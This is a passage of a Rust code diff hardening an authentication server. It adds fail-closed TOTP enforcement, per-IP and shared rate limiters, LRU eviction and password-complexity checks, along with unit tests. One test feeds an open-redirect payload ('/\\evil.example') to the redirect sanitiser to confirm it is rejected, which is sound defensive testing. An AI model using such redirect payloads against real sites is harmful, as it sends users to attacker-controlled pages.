343 + StatusCode::SERVICE_UNAVAILABLE,
344 + "Internal server error",
345 + )
346 + .into_response());
347 + };
302 348
303 - if must_change && !path.starts_with("/settings/password") {
304 - tracing::info!(
305 - "User {} must change password, redirecting from {}",
306 - user_id,
307 - path
308 - );
309 - return Ok(axum::response::Redirect::to(
310 - "/settings/password?must_change=true",
311 - )
312 - .into_response());
313 - }
349 + let must_change = user_model.must_change_password;
314 350
315 - // Check if 2FA is forced globally and user hasn't set it up
316 - if !path.starts_with("/settings/security")
317 - && !path.starts_with("/api/v1/auth")
318 - {
319 - let totp_force_enabled = crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
320 - &db,
321 - &["totp_force_enabled"],
322 - false,
323 - )
324 - .await
325 - .unwrap_or(false);
351 + let mut user_active: user::ActiveModel = user_model.into();
352 + user_active.last_login_at = Set(Some(Utc::now()));
353 + if let Some(ip) = client_ip {
354 + user_active.last_login_ip = Set(Some(ip));
355 + }
326 356
327 - if totp_force_enabled {
328 - let totp_enabled =
329 - crate::services::totp_service::TotpService::is_totp_enabled(
357 + if let Err(e) = user_active.update(&db).await {
358 + tracing::warn!(
359 + "Failed to update last_login for user {}: {}",
360 + user_id,
361 + e
362 + );
363 + } else {
364 + tracing::debug!("Updated last_login for user {}", user_id);
365 + }
366 +
367 + if must_change && !path.starts_with("/settings/password") {
368 + tracing::info!(
369 + "User {} must change password, redirecting from {}",
370 + user_id,
371 + path
372 + );
373 + return Ok(Redirect::to("/settings/password?must_change=true")
374 + .into_response());
375 + }
376 +
377 + // Check if 2FA is forced globally and user hasn't set it up
378 + if !path.starts_with("/settings/security")
379 + && !path.starts_with("/api/v1/auth")
380 + {
381 + let totp_force_enabled = crate::services::app_settings_service::AppSettingsService::get_bool_with_fallback(
382 + &db,
383 + &["totp_force_enabled"],
384 + false,
385 + )
386 + .await
387 + .unwrap_or(false);
388 +
389 + if totp_force_enabled {
390 + let totp_result = crate::services::totp_service::TotpService::is_totp_enabled(
330 391 &db, user_id,
331 392 )
332 - .await
333 - .unwrap_or(false);
334 -
335 - if !totp_enabled {
336 - tracing::info!(
337 - "User {} must setup 2FA, redirecting from {}",
338 - user_id,
339 - path
340 - );
341 - return Ok(axum::response::Redirect::to(
342 - "/settings/security?force_2fa=true",
343 - )
344 - .into_response());
393 + .await;
394 + if let Err(ref e) = totp_result {
395 + tracing::error!(
396 + %user_id,
397 + error = %e,
398 + "TOTP status lookup failed (fail-closed)"
399 + );
400 + }
401 + match totp_force_gate(totp_result) {
402 + TotpGate::Allow => {}
403 + TotpGate::RedirectSetup => {
404 + tracing::info!(
405 + "User {} must setup 2FA, redirecting from {}",
406 + user_id,
407 + path
408 + );
409 + return Ok(Redirect::to(
410 + "/settings/security?force_2fa=true",
411 + )
412 + .into_response());
413 + }
414 + TotpGate::Unavailable => {
415 + return Ok((
416 + StatusCode::SERVICE_UNAVAILABLE,
417 + "Internal server error",
418 + )
419 + .into_response());
420 + }
421 + }
345 422 }
346 423 }
347 424 }
@@ -427,7 +504,10 @@ where
427 504
428 505 #[cfg(test)]
429 506 mod tests {
430 - use super::{auth_failure_response, sanitize_redirect};
507 + use super::{
508 + TotpGate, UserLookup, auth_failure_response, map_user_lookup, sanitize_redirect,
509 + totp_force_gate,
510 + };
431 511 use crate::config::auth::{AuthConfig, AuthFailureMode, SessionBackend};
432 512 use axum::http::{StatusCode, Uri, header::LOCATION};
433 513
@@ -476,9 +556,18 @@ mod tests {
476 556 }
477 557
478 558 #[test]
559 + fn sanitize_redirect_rejects_backslash_trick() {
560 + let out = sanitize_redirect("/\\evil.example", "/login");
561 + assert_eq!(out, "/login");
562 + }
563 +
564 + #[test]
479 565 fn auth_failure_redirect_mode_points_to_configured_login_path() {
480 566 let uri: Uri = "/settings".parse().unwrap();
481 - let resp = auth_failure_response(&test_config(AuthFailureMode::Redirect, "/auth/signin"), &uri);
567 + let resp = auth_failure_response(
568 + &test_config(AuthFailureMode::Redirect, "/auth/signin"),
569 + &uri,
570 + );
482 571 assert_eq!(resp.status(), StatusCode::SEE_OTHER);
483 572 let location = resp
484 573 .headers()
@@ -498,4 +587,40 @@ mod tests {
498 587 assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
499 588 assert!(resp.headers().get(LOCATION).is_none());
500 589 }
590 +
591 + #[test]
592 + fn map_user_lookup_found_when_row_present() {
593 + let result: Result<Option<()>, &str> = Ok(Some(()));
594 + assert_eq!(map_user_lookup(result), UserLookup::Found);
595 + }
596 +
597 + #[test]
598 + fn map_user_lookup_missing_when_no_row() {
599 + let result: Result<Option<()>, &str> = Ok(None);
600 + assert_eq!(map_user_lookup(result), UserLookup::Missing);
601 + }
602 +
603 + #[test]
604 + fn map_user_lookup_unavailable_on_error() {
605 + let result: Result<Option<()>, &str> = Err("db down");
606 + assert_eq!(map_user_lookup(result), UserLookup::Unavailable);
607 + }
608 +
609 + #[test]
610 + fn totp_force_gate_allows_when_enabled() {
611 + let result: Result<bool, &str> = Ok(true);
612 + assert_eq!(totp_force_gate(result), TotpGate::Allow);
613 + }
614 +
615 + #[test]
616 + fn totp_force_gate_redirects_when_not_enrolled() {
617 + let result: Result<bool, &str> = Ok(false);
618 + assert_eq!(totp_force_gate(result), TotpGate::RedirectSetup);
619 + }
620 +
621 + #[test]
622 + fn totp_force_gate_unavailable_on_error() {
623 + let result: Result<bool, &str> = Err("db down");
624 + assert_eq!(totp_force_gate(result), TotpGate::Unavailable);
625 + }
501 626 }
M crates/rustwarden-core/src/middleware/password_complexity.rs
+21 -0
@@ -169,6 +169,27 @@ mod tests {
169 169 assert!(rules.validate("password123").is_err());
170 170 assert!(rules.validate("PASSWORD123").is_err());
171 171 assert!(rules.validate("Password").is_err());
172 + assert!(rules.validate("a").is_err());
173 + assert!(rules.validate("password").is_err());
174 + }
175 +
176 + #[test]
177 + fn default_rules_reject_single_letter_and_password_literal() {
178 + let rules = PasswordRules::default();
179 + assert!(rules.validate("a").is_err());
180 + assert!(rules.validate("password").is_err());
181 + }
182 +
183 + #[test]
184 + fn default_rules_reject_password_literal() {
185 + let rules = PasswordRules::default();
186 + assert!(rules.validate("password").is_err());
187 + }
188 +
189 + #[test]
190 + fn default_rules_accept_mixed() {
191 + let rules = PasswordRules::default();
192 + assert!(rules.validate("CorrectHorse1").is_ok());
172 193 }
173 194
174 195 #[test]
M crates/rustwarden-core/src/middleware/rate_limit.rs
+91 -7
@@ -118,11 +118,11 @@ fn trusted_proxy_hops() -> usize {
118 118 })
119 119 }
120 120
121 -/// SEC-H3: Extract the real client IP, respecting TRUSTED_PROXY_HOPS.
122 -/// When TRUSTED_PROXY_HOPS > 0, takes the Nth IP from the right of X-Forwarded-For.
123 -/// Otherwise falls back to the direct connection IP.
124 -fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>) -> String {
125 - let hops = trusted_proxy_hops();
121 +/// Pick the client IP from `X-Forwarded-For` and/or the direct connection.
122 +///
123 +/// `hops` is the number of trusted reverse-proxy hops (0 = ignore XFF).
124 +/// When `hops > 0`, takes the Nth IP from the **right** of the XFF list.
125 +fn extract_ip(xff: Option<&str>, connect: Option<String>, hops: usize) -> String {
126 126 if hops > 0 {
127 127 if let Some(xff_value) = xff {
128 128 let ips: Vec<&str> = xff_value.split(',').map(|s| s.trim()).collect();
@@ -131,7 +131,14 @@ fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>)
131 131 }
132 132 }
133 133 }
134 - connect_ip.unwrap_or_else(|| "unknown".to_string())
134 + connect.unwrap_or_else(|| "unknown".to_string())
135 +}
136 +
137 +/// SEC-H3: Extract the real client IP, respecting TRUSTED_PROXY_HOPS.
138 +/// When TRUSTED_PROXY_HOPS > 0, takes the Nth IP from the right of X-Forwarded-For.
139 +/// Otherwise falls back to the direct connection IP.
140 +fn extract_ip_from_xff_or_connect(xff: Option<&str>, connect_ip: Option<String>) -> String {
141 + extract_ip(xff, connect_ip, trusted_proxy_hops())
135 142 }
136 143
137 144 /// Extract IP address from Request (uses ConnectInfo when available)
@@ -143,7 +150,14 @@ pub fn extract_client_ip(request: &Request) -> String {
143 150 let connect_ip = request
144 151 .extensions()
145 152 .get::<axum::extract::ConnectInfo<std::net::SocketAddr>>()
146 - .map(|ci| ci.0.ip().to_string());
153 + .map(|ci| ci.0.ip().to_string())
154 + .or_else(|| {
155 + // `MockConnectInfo` stores itself, not `ConnectInfo` (axum 0.8).
156 + request
157 + .extensions()
158 + .get::<axum::extract::connect_info::MockConnectInfo<std::net::SocketAddr>>()
159 + .map(|mock| mock.0.ip().to_string())
160 + });
147 161 extract_ip_from_xff_or_connect(xff, connect_ip)
148 162 }
149 163
@@ -201,6 +215,19 @@ pub fn check_auth_rate_limit(headers: &axum::http::HeaderMap) -> Result<(), Resp
201 215 }
202 216 }
203 217
218 +/// Per-IP rate-limit layer for authentication endpoints.
219 +///
220 +/// Uses [`extract_client_ip`] so the key comes from `ConnectInfo` when
221 +/// `TRUSTED_PROXY_HOPS` is 0 (the default), rather than collapsing every
222 +/// request into a global `auth:unknown` bucket.
223 +pub(crate) async fn auth_ip_rate_limit(request: Request, next: Next) -> Response {
224 + let ip = extract_client_ip(&request);
225 + match auth_limiter().check(&format!("auth:{ip}"), auth_max_per_minute()) {
226 + Ok(()) => next.run(request).await,
227 + Err(err) => err.into_response(),
228 + }
229 +}
230 +
204 231 #[cfg(test)]
205 232 mod tests {
206 233 use super::*;
@@ -234,4 +261,61 @@ mod tests {
234 261 rl.check("share:9.9.9.9", 3)
235 262 .expect("distinct IP must not share the other IP's budget");
236 263 }
264 +
265 + #[test]
266 + fn extract_client_ip_uses_connect_info_without_xff() {
267 + let mut request = Request::builder()
268 + .uri("/")
269 + .body(axum::body::Body::empty())
270 + .expect("request");
271 + request
272 + .extensions_mut()
273 + .insert(axum::extract::ConnectInfo(std::net::SocketAddr::from((
274 + [203, 0, 113, 1],
275 + 12345,
276 + ))));
277 + assert_eq!(extract_client_ip(&request), "203.0.113.1");
278 + }
279 +
280 + #[test]
281 + fn extract_client_ip_uses_mock_connect_info_without_xff() {
282 + let mut request = Request::builder()
283 + .uri("/")
284 + .body(axum::body::Body::empty())
285 + .expect("request");
286 + request
287 + .extensions_mut()
288 + .insert(axum::extract::connect_info::MockConnectInfo(
289 + std::net::SocketAddr::from(([203, 0, 113, 1], 12345)),
290 + ));
291 + assert_eq!(extract_client_ip(&request), "203.0.113.1");
292 + }
293 +
294 + #[test]
295 + fn hops_zero_uses_connect_not_xff() {
296 + assert_eq!(
297 + extract_ip(Some("1.2.3.4"), Some("10.0.0.9".into()), 0),
298 + "10.0.0.9"
299 + );
300 + }
301 +
302 + #[test]
303 + fn hops_one_takes_rightmost_xff() {
304 + assert_eq!(
305 + extract_ip(Some("1.2.3.4, 5.6.7.8"), Some("10.0.0.9".into()), 1),
306 + "5.6.7.8"
307 + );
308 + }
309 +
310 + #[test]
311 + fn hops_two_takes_second_from_right() {
312 + assert_eq!(
313 + extract_ip(
314 + Some("1.2.3.4, 5.6.7.8, 9.9.9.9"),
315 + Some("10.0.0.9".into()),
316 + 2
317 + ),
318 + "5.6.7.8"
319 + );
320 + }
237 321 }
M crates/rustwarden-core/src/services/default_admin_service.rs
+66 -0
@@ -64,6 +64,8 @@ pub async fn ensure_default_admin(db: &DatabaseConnection) -> Result<(), AppErro
64 64 return Ok(());
65 65 }
66 66
67 + validate_new_admin_credentials(&config, password)?;
68 +
67 69 let password_hash = PasswordService::hash_password(password).await?;
68 70 let user = UserService::create_user(
69 71 db,
@@ -92,3 +94,67 @@ pub async fn ensure_default_admin(db: &DatabaseConnection) -> Result<(), AppErro
92 94
93 95 Ok(())
94 96 }
97 +
98 +/// Validates `ADMIN_*` credentials immediately before creating the default admin.
99 +///
100 +/// Must be used only on the create path. Skip paths (`CREATE_DEFAULT_ADMIN=false`,
101 +/// an admin already exists, or the username exists without the admin role) must not
102 +/// call this, so a leftover weak `ADMIN_PASSWORD` in production `.env` does not
103 +/// prevent boot.
104 +pub(crate) fn validate_new_admin_credentials(
105 + config: &AdminConfig,
106 + password: &str,
107 +) -> Result<(), AppError> {
108 + config
109 + .validate()
110 + .map_err(|e| AppError::Internal(format!("Invalid ADMIN_* config: {e}")))?;
111 + crate::middleware::password_complexity::PasswordRules::default()
112 + .validate(password)
113 + .map_err(|errs| AppError::Validation(errs.join("; ")))?;
114 + Ok(())
115 +}
116 +
117 +#[cfg(test)]
118 +mod tests {
119 + use super::*;
120 +
121 + fn config_with_password(password: &str) -> AdminConfig {
122 + AdminConfig {
123 + username: "admin".into(),
124 + email: "admin@localhost".into(),
125 + password: Some(password.into()),
126 + }
127 + }
128 +
129 + #[test]
130 + fn validate_new_admin_credentials_rejects_weak_password() {
131 + let password = "password";
132 + let config = config_with_password(password);
133 + let err = validate_new_admin_credentials(&config, password)
134 + .expect_err("literal password must fail create-path validation");
135 + match err {
136 + AppError::Internal(_) | AppError::Validation(_) => {}
137 + other => panic!("expected Internal or Validation, got {other:?}"),
138 + }
139 + }
140 +
141 + #[test]
142 + fn validate_new_admin_credentials_rejects_placeholder() {
143 + let password = "REMPLACER_PAR_UN_MOT_DE_PASSE_FORT";
144 + let config = config_with_password(password);
145 + let err = validate_new_admin_credentials(&config, password)
146 + .expect_err("CLI placeholder must fail create-path validation");
147 + match err {
148 + AppError::Internal(_) => {}
149 + other => panic!("expected Internal from AdminConfig::validate, got {other:?}"),
150 + }
151 + }
152 +
153 + #[test]
154 + fn validate_new_admin_credentials_accepts_strong_mixed() {
155 + let password = "CorrectHorse1";
156 + let config = config_with_password(password);
157 + validate_new_admin_credentials(&config, password)
158 + .expect("mixed case plus digit must pass create-path validation");
159 + }
160 +}
M crates/rustwarden-core/src/services/email_validation_service.rs
+144 -4
@@ -17,12 +17,40 @@ use sea_orm::{
17 17 ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, NotSet, QueryFilter, Set,
18 18 };
19 19 use sha2::{Digest, Sha256};
20 +use std::sync::OnceLock;
21 +use std::time::Duration as StdDuration;
20 22 use uuid::Uuid;
21 23
22 24 /// Default: 3 verification email requests per address per hour.
23 25 const EMAIL_VALIDATION_RATE_LIMIT_MAX: u32 = 3;
24 -const EMAIL_VALIDATION_RATE_LIMIT_WINDOW: std::time::Duration =
25 - std::time::Duration::from_secs(3600);
26 +const EMAIL_VALIDATION_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600);
27 +
28 +/// Process-wide sliding-window limiter for email-validation resends.
29 +///
30 +/// Distinct from the password-reset limiter so the two flows keep separate
31 +/// budgets. Handlers construct [`EmailValidationService::new`] per request.
32 +static EMAIL_VALIDATION_LIMITER: OnceLock<RateLimitService> = OnceLock::new();
33 +
34 +/// Return the process-wide email-validation limiter, initializing it once.
35 +fn shared_email_validation_limiter() -> RateLimitService {
36 + EMAIL_VALIDATION_LIMITER
37 + .get_or_init(|| {
38 + let limiter = RateLimitService::new();
39 + if let Ok(handle) = tokio::runtime::Handle::try_current() {
40 + handle.spawn(
41 + limiter
42 + .clone()
43 + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)),
44 + );
45 + } else {
46 + tracing::warn!(
47 + "email-validation limiter: no tokio runtime, cleanup_loop not started"
48 + );
49 + }
50 + limiter
51 + })
52 + .clone()
53 +}
26 54
27 55 /// Email validation service
28 56 pub struct EmailValidationService {
@@ -32,11 +60,23 @@ pub struct EmailValidationService {
32 60 }
33 61
34 62 impl EmailValidationService {
35 - /// Create a new EmailValidationService
63 + /// Create a new EmailValidationService using the process-wide rate limiter.
36 64 pub fn new(email_config: EmailConfig) -> Self {
37 65 Self {
38 66 email_config,
39 - rate_limiter: RateLimitService::new(),
67 + rate_limiter: shared_email_validation_limiter(),
68 + }
69 + }
70 +
71 + /// Build a service around an injected limiter (unit tests; avoids the process [`OnceLock`]).
72 + #[cfg(test)]
73 + pub(crate) fn new_with_limiter(
74 + email_config: EmailConfig,
75 + rate_limiter: RateLimitService,
76 + ) -> Self {
77 + Self {
78 + email_config,
79 + rate_limiter,
40 80 }
41 81 }
42 82
@@ -354,3 +394,103 @@ impl EmailValidationService {
354 394 Ok(())
355 395 }
356 396 }
397 +
398 +#[cfg(test)]
399 +mod tests {
400 + use super::*;
401 + use crate::config::email::EmailConfig;
402 +
403 + fn dummy_email_config() -> EmailConfig {
404 + EmailConfig {
405 + smtp_host: "localhost".into(),
406 + smtp_port: 587,
407 + smtp_user: "u".into(),
408 + smtp_password: "p".into(),
409 + smtp_from: "from@example.test".into(),
410 + smtp_from_name: None,
411 + smtp_use_tls: false,
412 + smtp_use_starttls: false,
413 + smtp_accept_invalid_certs: true,
414 + smtp_ca_cert_path: None,
415 + queue_batch_size: 10,
416 + queue_retry_attempts: 5,
417 + queue_retry_delay_seconds: 300,
418 + email_base_url: "http://localhost".into(),
419 + request_dsn: false,
420 + imap_host: None,
421 + imap_port: 993,
422 + imap_user: None,
423 + imap_password: None,
424 + imap_use_tls: true,
425 + imap_use_starttls: false,
426 + imap_accept_invalid_certs: false,
427 + imap_ca_cert_path: None,
428 + imap_mailbox: "INBOX".into(),
429 + imap_poll_interval_seconds: 300,
430 + }
431 + }
432 +
433 + #[test]
434 + fn new_with_limiter_uses_injected_instance() {
435 + let limiter = RateLimitService::new();
436 + let svc = EmailValidationService::new_with_limiter(dummy_email_config(), limiter.clone());
437 + for _ in 0..3 {
438 + limiter
439 + .check_sliding_window("email_verify:t@x.test", 3, StdDuration::from_secs(3600))
440 + .unwrap();
441 + }
442 + assert!(
443 + svc.rate_limiter
444 + .check_sliding_window("email_verify:t@x.test", 3, StdDuration::from_secs(3600))
445 + .is_err()
446 + );
447 + }
448 +
449 + #[test]
450 + fn new_shares_process_wide_limiter() {
451 + let a = EmailValidationService::new(dummy_email_config());
452 + let b = EmailValidationService::new(dummy_email_config());
453 + for _ in 0..3 {
454 + a.rate_limiter
455 + .check_sliding_window(
456 + "email_verify:share-oncelock@test",
457 + 3,
458 + StdDuration::from_secs(3600),
459 + )
460 + .unwrap();
461 + }
462 + assert!(
463 + b.rate_limiter
464 + .check_sliding_window(
465 + "email_verify:share-oncelock@test",
466 + 3,
467 + StdDuration::from_secs(3600),
468 + )
469 + .is_err()
470 + );
471 + }
472 +
473 + #[test]
474 + fn new_with_limiter_is_independent_of_process_lock() {
475 + let private = RateLimitService::new();
476 + let svc = EmailValidationService::new_with_limiter(dummy_email_config(), private.clone());
477 + for _ in 0..3 {
478 + private
479 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
480 + .unwrap();
481 + }
482 + assert!(
483 + svc.rate_limiter
484 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
485 + .is_err()
486 + );
487 +
488 + let process = EmailValidationService::new(dummy_email_config());
489 + assert!(
490 + process
491 + .rate_limiter
492 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
493 + .is_ok()
494 + );
495 + }
496 +}
M crates/rustwarden-core/src/services/password_reset_service.rs
+207 -3
@@ -19,11 +19,40 @@ use sea_orm::{
19 19 ActiveModelTrait, ColumnTrait, DatabaseConnection, EntityTrait, NotSet, QueryFilter, Set,
20 20 };
21 21 use sha2::{Digest, Sha256};
22 +use std::sync::OnceLock;
23 +use std::time::Duration as StdDuration;
22 24 use uuid::Uuid;
23 25
24 26 /// Default: 3 reset requests per email per hour.
25 27 const RESET_RATE_LIMIT_MAX: u32 = 3;
26 -const RESET_RATE_LIMIT_WINDOW: std::time::Duration = std::time::Duration::from_secs(3600);
28 +const RESET_RATE_LIMIT_WINDOW: StdDuration = StdDuration::from_secs(3600);
29 +
30 +/// Process-wide sliding-window limiter for password-reset emails.
31 +///
32 +/// Handlers construct [`PasswordResetService::new`] per request; a fresh
33 +/// [`RateLimitService`] on each call would make the throttle inert.
34 +static PASSWORD_RESET_LIMITER: OnceLock<RateLimitService> = OnceLock::new();
35 +
36 +/// Return the process-wide password-reset limiter, initializing it once.
37 +fn shared_password_reset_limiter() -> RateLimitService {
38 + PASSWORD_RESET_LIMITER
39 + .get_or_init(|| {
40 + let limiter = RateLimitService::new();
41 + if let Ok(handle) = tokio::runtime::Handle::try_current() {
42 + handle.spawn(
43 + limiter
44 + .clone()
45 + .cleanup_loop(StdDuration::from_secs(300), StdDuration::from_secs(3600)),
46 + );
47 + } else {
48 + tracing::warn!(
49 + "password-reset limiter: no tokio runtime, cleanup_loop not started"
50 + );
51 + }
52 + limiter
53 + })
54 + .clone()
55 +}
27 56
28 57 /// Password reset service
29 58 pub struct PasswordResetService {
@@ -33,11 +62,23 @@ pub struct PasswordResetService {
33 62 }
34 63
35 64 impl PasswordResetService {
36 - /// Create a new PasswordResetService
65 + /// Create a new PasswordResetService using the process-wide rate limiter.
37 66 pub fn new(email_config: EmailConfig) -> Self {
38 67 Self {
39 68 email_config,
40 - rate_limiter: RateLimitService::new(),
69 + rate_limiter: shared_password_reset_limiter(),
70 + }
71 + }
72 +
73 + /// Build a service around an injected limiter (unit tests; avoids the process [`OnceLock`]).
74 + #[cfg(test)]
75 + pub(crate) fn new_with_limiter(
76 + email_config: EmailConfig,
77 + rate_limiter: RateLimitService,
78 + ) -> Self {
79 + Self {
80 + email_config,
81 + rate_limiter,
41 82 }
42 83 }
43 84
@@ -230,6 +271,10 @@ impl PasswordResetService {
230 271 // Validate token
231 272 let user_id = self.validate_token(db, token).await?;
232 273
274 + // Reject weak passwords before hashing or consuming the token (M-2).
275 + crate::middleware::password_complexity::validate_password_complexity(db, new_password)
276 + .await?;
277 +
233 278 // Validate and hash new password
234 279 let password_hash = PasswordService::hash_password(new_password).await?;
235 280
@@ -303,3 +348,162 @@ impl PasswordResetService {
303 348 Ok(())
304 349 }
305 350 }
351 +
352 +#[cfg(test)]
353 +mod tests {
354 + use super::*;
355 + use crate::config::email::EmailConfig;
356 +
357 + fn dummy_email_config() -> EmailConfig {
358 + EmailConfig {
359 + smtp_host: "localhost".into(),
360 + smtp_port: 587,
361 + smtp_user: "u".into(),
362 + smtp_password: "p".into(),
363 + smtp_from: "from@example.test".into(),
364 + smtp_from_name: None,
365 + smtp_use_tls: false,
366 + smtp_use_starttls: false,
367 + smtp_accept_invalid_certs: true,
368 + smtp_ca_cert_path: None,
369 + queue_batch_size: 10,
370 + queue_retry_attempts: 5,
371 + queue_retry_delay_seconds: 300,
372 + email_base_url: "http://localhost".into(),
373 + request_dsn: false,
374 + imap_host: None,
375 + imap_port: 993,
376 + imap_user: None,
377 + imap_password: None,
378 + imap_use_tls: true,
379 + imap_use_starttls: false,
380 + imap_accept_invalid_certs: false,
381 + imap_ca_cert_path: None,
382 + imap_mailbox: "INBOX".into(),
383 + imap_poll_interval_seconds: 300,
384 + }
385 + }
386 +
387 + #[test]
388 + fn new_with_limiter_uses_injected_instance() {
389 + let limiter = RateLimitService::new();
390 + let svc = PasswordResetService::new_with_limiter(dummy_email_config(), limiter.clone());
391 + for _ in 0..3 {
392 + limiter
393 + .check_sliding_window("pwd_reset:t@x.test", 3, StdDuration::from_secs(3600))
394 + .unwrap();
395 + }
396 + assert!(
397 + svc.rate_limiter
398 + .check_sliding_window("pwd_reset:t@x.test", 3, StdDuration::from_secs(3600))
399 + .is_err()
400 + );
401 + }
402 +
403 + #[test]
404 + fn new_shares_process_wide_limiter() {
405 + let a = PasswordResetService::new(dummy_email_config());
406 + let b = PasswordResetService::new(dummy_email_config());
407 + for _ in 0..3 {
408 + a.rate_limiter
409 + .check_sliding_window(
410 + "pwd_reset:share-oncelock@test",
411 + 3,
412 + StdDuration::from_secs(3600),
413 + )
414 + .unwrap();
415 + }
416 + assert!(
417 + b.rate_limiter
418 + .check_sliding_window(
419 + "pwd_reset:share-oncelock@test",
420 + 3,
421 + StdDuration::from_secs(3600),
422 + )
423 + .is_err()
424 + );
425 + }
426 +
427 + #[test]
428 + fn new_with_limiter_is_independent_of_process_lock() {
429 + let private = RateLimitService::new();
430 + let svc = PasswordResetService::new_with_limiter(dummy_email_config(), private.clone());
431 + for _ in 0..3 {
432 + private
433 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
434 + .unwrap();
435 + }
436 + assert!(
437 + svc.rate_limiter
438 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
439 + .is_err()
440 + );
441 +
442 + let process = PasswordResetService::new(dummy_email_config());
443 + assert!(
444 + process
445 + .rate_limiter
446 + .check_sliding_window("k", 3, StdDuration::from_secs(3600))
447 + .is_ok()
448 + );
449 + }
450 +
451 + fn unused_reset_token(plain: &str, user_id: Uuid) -> password_reset_token::Model {
452 + let now = Utc::now();
453 + password_reset_token::Model {
454 + id: Uuid::new_v4(),
455 + user_id,
456 + token_hash: PasswordResetService::hash_token(plain),
457 + expires_at: now + Duration::hours(1),
458 + used_at: None,
459 + created_at: now,
460 + }
461 + }
462 +
463 + /// M-2: a rejected password must not mark the reset token used.
464 + ///
465 + /// MockDatabase cannot re-SELECT `used_at`; absence of UPDATE in the
466 + /// transaction log is the equivalent of `used_at IS NULL`.
467 + #[tokio::test]
468 + async fn reset_password_rejects_weak_password_without_consuming_token() {
469 + use crate::models::app_settings;
470 + use sea_orm::{DatabaseBackend, MockDatabase};
471 +
472 + let plain = "reset-token-plain";
473 + let token_row = unused_reset_token(plain, Uuid::new_v4());
474 +
475 + // 1) validate_token SELECT; 2–7) PasswordRules::from_db settings
476 + // (missing keys → defaults, which reject `"a"`).
477 + let db = MockDatabase::new(DatabaseBackend::Postgres)
478 + .append_query_results([vec![token_row]])
479 + .append_query_results([
480 + Vec::<app_settings::Model>::new(),
481 + Vec::<app_settings::Model>::new(),
482 + Vec::<app_settings::Model>::new(),
483 + Vec::<app_settings::Model>::new(),
484 + Vec::<app_settings::Model>::new(),
485 + Vec::<app_settings::Model>::new(),
486 + ])
487 + .into_connection();
488 +
489 + let svc = PasswordResetService::new(dummy_email_config());
490 + let err = svc
491 + .reset_password(&db, plain, "a")
492 + .await
493 + .expect_err("weak password must be rejected");
494 + assert!(
495 + matches!(err, AppError::Validation(_)),
496 + "expected Validation, got {err:?}"
497 + );
498 +
499 + for txn in db.into_transaction_log() {
500 + for stmt in txn.statements() {
501 + assert!(
502 + !stmt.sql.trim_start().to_ascii_uppercase().starts_with("UPDATE"),
503 + "rejected password must not consume the token (used_at stays NULL): {}",
504 + stmt.sql
505 + );
506 + }
507 + }
508 + }
509 +}
M crates/rustwarden-core/src/services/rate_limit_service.rs
+201 -22
@@ -20,8 +20,11 @@
20 20 //!
21 21 //! - In-process only. Multi-instance deployments need a shared backend
22 22 //! (Redis) — out of scope for v1.
23 -//! - Memory-bounded via `MAX_ENTRIES` (dropped if the map grows past the
24 -//! cap and the incoming key is unknown).
23 +//! - Memory-bounded via `MAX_ENTRIES`. When the map is at cap and the
24 +//! incoming key is unknown, the least-recently-used key (oldest
25 +//! most-recent timestamp) is evicted so a legitimate new caller is still
26 +//! admitted. Unknown keys are never rejected solely because the map is
27 +//! full.
25 28
26 29 use std::{
27 30 collections::HashMap,
@@ -31,7 +34,7 @@ use std::{
31 34
32 35 use crate::error::AppError;
33 36
34 -/// Maximum distinct keys tracked before refusing new ones (SEC-M2: memory DoS).
37 +/// Maximum distinct keys tracked before LRU-evicting the coldest entry (SEC-M2: memory DoS).
35 38 const MAX_ENTRIES: usize = 100_000;
36 39
37 40 /// Per-key counter plus the instant at which the current window opened.
@@ -79,6 +82,16 @@ impl RateLimitService {
79 82
80 83 /// Check and increment the counter for `key` with a custom window size.
81 84 pub fn check_window(&self, key: &str, max: u32, window: Duration) -> Result<(), AppError> {
85 + self.check_window_capped(key, max, window, MAX_ENTRIES)
86 + }
87 +
88 + fn check_window_capped(
89 + &self,
90 + key: &str,
91 + max: u32,
92 + window: Duration,
93 + cap: usize,
94 + ) -> Result<(), AppError> {
82 95 let now = Instant::now();
83 96 let mut buckets = self
84 97 .buckets
@@ -88,15 +101,15 @@ impl RateLimitService {
88 101 // Drop expired entries so the map stays bounded on low-traffic keys.
89 102 buckets.retain(|_, w| now.duration_since(w.window_start) < window);
90 103
91 - if buckets.len() >= MAX_ENTRIES && !buckets.contains_key(key) {
92 - tracing::warn!(
93 - entries = buckets.len(),
94 - cap = MAX_ENTRIES,
95 - "rate limiter map full, rejecting new key"
96 - );
97 - return Err(AppError::TooManyRequests {
98 - retry_after_secs: window.as_secs(),
99 - });
104 + if !buckets.contains_key(key) {
105 + if buckets.len() >= cap {
106 + tracing::warn!(
107 + entries = buckets.len(),
108 + cap,
109 + "rate limiter map full, evicting oldest window"
110 + );
111 + }
112 + evict_fixed_if_full(&mut buckets, cap);
100 113 }
101 114
102 115 let w = buckets.entry(key.to_string()).or_insert(WindowCounter {
@@ -142,22 +155,31 @@ impl RateLimitService {
142 155 max: u32,
143 156 window: Duration,
144 157 ) -> Result<(), AppError> {
158 + self.check_sliding_window_capped(key, max, window, MAX_ENTRIES)
159 + }
160 +
161 + fn check_sliding_window_capped(
162 + &self,
163 + key: &str,
164 + max: u32,
165 + window: Duration,
166 + cap: usize,
167 + ) -> Result<(), AppError> {
145 168 let now = Instant::now();
146 169 let mut sliding = self
147 170 .sliding
148 171 .lock()
149 172 .map_err(|_| AppError::Internal("rate limiter mutex poisoned".into()))?;
150 173
151 - // Size guard before insertion of a new key.
152 - if sliding.len() >= MAX_ENTRIES && !sliding.contains_key(key) {
153 - tracing::warn!(
154 - entries = sliding.len(),
155 - cap = MAX_ENTRIES,
156 - "sliding rate limiter map full, rejecting new key"
157 - );
158 - return Err(AppError::TooManyRequests {
159 - retry_after_secs: window.as_secs(),
160 - });
174 + if !sliding.contains_key(key) {
175 + if sliding.len() >= cap {
176 + tracing::warn!(
177 + entries = sliding.len(),
178 + cap,
